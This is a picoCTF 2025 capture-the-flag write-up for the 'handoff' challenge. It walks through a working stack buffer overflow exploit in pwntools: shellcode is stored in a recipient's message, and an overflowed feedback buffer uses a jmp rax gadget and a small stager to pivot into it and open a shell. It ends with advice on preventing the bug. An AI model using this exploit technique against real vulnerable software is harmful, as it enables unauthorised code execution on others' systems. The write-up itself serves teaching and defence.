handoff picoCTF 2025 Solution

Published: April 2, 2025

Description

A messaging program stores recipients and their messages on the stack. NX is disabled and PIE is off. Overflow the feedback buffer to redirect execution through a jmp rax gadget, which lands on a stager that pivots rsp into the shellcode stored in recipient 9's message.

Download the binary and source from the picoCTF challenge page.

Check the binary protections - NX is off (stack executable) and PIE is disabled (fixed addresses). That combination is the green light for shellcode injection.

Hunt for the jmp rax gadget so you have its fixed address ready.

Study the struct layout: each entry has an 8-byte name and a 64-byte message buffer.

bash
checksec --file=handoff
bash
ROPgadget --binary handoff | grep 'jmp rax'
bash
nc <INSTANCE_HOST> <PORT_FROM_INSTANCE>
This is a classic stack-pivot pwn; the Buffer Overflow Binary Exploitation guide walks through return-address overwrites, and Pwntools for CTF covers shellcraft.sh(), asm(), and the network plumbing used here.
  1. Step 1Understand the program structure and find the bugs
    Three options: add recipient (option 1), send message (option 2), exit (option 3). Each entry is 8 bytes for the name and 64 bytes for the message. The exit option reads 32 bytes via fgets into only an 8-byte feedback buffer. Since RAX holds the return value of fgets (the address of the feedback buffer), and since we can use a jmp rax gadget at a fixed address (no PIE), we can redirect to our feedback buffer and pivot from there. The source shows the name buffer is only 8 bytes even though NAME_LEN is 32 - the name field is truncated in the struct, which is a separate bug, but the key overflow is in the exit feedback.
    bash
    # Each entry struct:
    # struct entry { char name[8]; char msg[64]; };
    # entry entries[10];
    # The feedback buffer in exit is 8 bytes; fgets reads 32.
    # Overflow: 8 bytes feedback + 4 bytes padding + 8 bytes saved RIP = 20 bytes in.
    Learn more

    NX (No-eXecute) is a hardware protection that marks memory regions as either executable or writable but not both. With NX disabled, data on the stack can be executed as machine code. The checksec utility confirms this; seeing NX disabled means shellcode injection is viable. With no PIE, all code addresses are fixed, so the jmp rax gadget is always at the same address across runs.

    The key insight is that fgets returns the address of the buffer it just filled - stored in rax. After the overflow overwrites the return address with the address of a jmp rax gadget, execution jumps to the feedback buffer. The feedback buffer holds a small stager that pivots rsp further back on the stack into the 64-byte message buffer of recipient 9, where the real shellcode lives.

  2. Step 2Fill 10 recipients and store shellcode in entry 9
    Add 10 recipients (option 1, run 10 times) with any name. Then send a message to recipient 9 (index 9, option 2). The 64-byte shellcode lands in entries[9].msg. The stager in the feedback buffer will do sub rax, 0x44; jmp rax which is exactly 68 bytes back from the feedback buffer start - landing at the beginning of entries[9].msg.
    python
    from pwn import *
    context.arch = 'amd64'
    p = remote('<INSTANCE_HOST>', <PORT_FROM_INSTANCE>)
    shellcode = asm(shellcraft.sh())
    assert len(shellcode) <= 64, "shellcode too big for message buffer"
    
    # Add 10 recipients so entries 0-9 are filled
    for i in range(10):
        p.sendlineafter(b'Exit', b'1')
        p.sendlineafter(b"recipient's name:", b'the doctor')
    
    # Send shellcode as message to recipient 9
    p.sendlineafter(b'Exit', b'2')
    p.sendlineafter(b'send a message to?', b'9')
    p.sendlineafter(b'What message', shellcode)
    Learn more

    pwntools' shellcraft module generates minimal x86-64 shellcode to call execve("/bin/sh", NULL, NULL). The 64-byte message buffer in each entry is large enough to hold typical shellcode (about 48 bytes). Unlike approach using entries[0], storing shellcode in entry 9 is important because the stager's fixed offset (0x44 = 68 bytes) is calibrated to reach exactly entries[9].msg from the feedback buffer.

    Adding exactly 10 recipients ensures all 10 slots are allocated before we write the shellcode to slot 9, keeping the stack layout deterministic. The entry index of 9 is critical - a different index would mean the stager's sub-rax offset would need to change.

  3. Step 3Overflow feedback and pivot to shellcode via jmp rax
    Choose option 3 (exit). Build the payload: 6 bytes of stager (sub rax, 0x44; jmp rax assembled), enough null padding to reach byte 20, then the 8-byte jmp rax gadget address (0x40116c). When the function returns, execution jumps to jmp rax. RAX still holds the feedback buffer address (fgets return value), so jmp rax executes the stager. The stager subtracts 0x44 from rax (moving it 68 bytes backward, into entries[9].msg) and jumps there - right into the shellcode.
    bash
    # Find the jmp rax gadget address:
    # ROPgadget --binary handoff | grep 'jmp rax'
    JMP_RAX = 0x000000000040116c
    
    stager = asm('sub rax, 0x44; jmp rax')  # 6 bytes
    # Pad to 20 bytes (feedback at offset 0, return address at offset 20)
    payload = stager + b'\x00' * (20 - len(stager)) + p64(JMP_RAX)
    assert len(payload) <= 32, "payload must fit the 32-byte fgets read"
    
    p.sendlineafter(b'Exit', b'3')
    p.sendline(payload)
    p.interactive()
    Learn more

    When the exit function returns, the CPU reads the overwritten return address and jumps to the jmp rax gadget. At that point, rax holds the address of the feedback buffer because the x86-64 SysV ABI returns function results in rax, and fgets returns its buffer pointer. This persists through the function epilogue, making jmp rax jump directly to the stager at the start of the feedback buffer.

    The stager does sub rax, 0x44 (subtract 68 decimal) which moves the pointer from the feedback buffer backward 68 bytes on the stack - landing exactly at the start of entries[9].msg, where the shellcode lives. Then jmp rax transfers control there. The offset 0x44 was determined by analyzing the stack layout: entries[9] is positioned exactly 68 bytes before the feedback buffer in memory.

    The stager must be 6 bytes or less (the assembled sub+jmp instructions) so it fits before the null terminator that fgets appends at position 7 in the 8-byte feedback field. The critical constraint is that 0x44 = 68 is less than 128, keeping the encoding of the immediate in the sub instruction to a single byte and avoiding any null bytes in the stager itself.

    The jmp rax gadget is found by scanning the binary with ROPgadget --binary handoff | grep "jmp rax". Because PIE is disabled, the gadget's address is fixed at 0x40116c regardless of ASLR. In a PIE binary you would first need to leak a code address.

Flag

picoCTF{p1v0ted_ftw_...}

Add 10 recipients, store shellcode in entry 9's message, overflow feedback with a 6-byte stager (sub rax, 0x44; jmp rax) + padding + jmp rax gadget address. Execution flows: ret -> jmp rax gadget -> stager -> shellcode in entry 9.

How to prevent this

This exploit chains a buffer overflow with disabled NX. Either mitigation alone breaks it.

  • Bounds-check the read into the feedback buffer. read(fd, buf, sizeof(buf)), or use fgets with the buffer length. scanf("%s") and gets are unsafe by design.
  • Compile with NX (-z noexecstack, the default in modern toolchains). With NX on, even a successful return-address overwrite cannot execute shellcode placed in stack/heap data; the attacker is forced into ROP, which adds a large prerequisite (gadget hunt + leak).
  • Add PIE (-fPIE -pie) and stack canaries (-fstack-protector-strong). PIE randomizes jmp rax gadget addresses; canaries detect the overflow before ret ever executes.

Want more picoCTF 2025 writeups?

Tools used in this challenge

Related reading

What to try next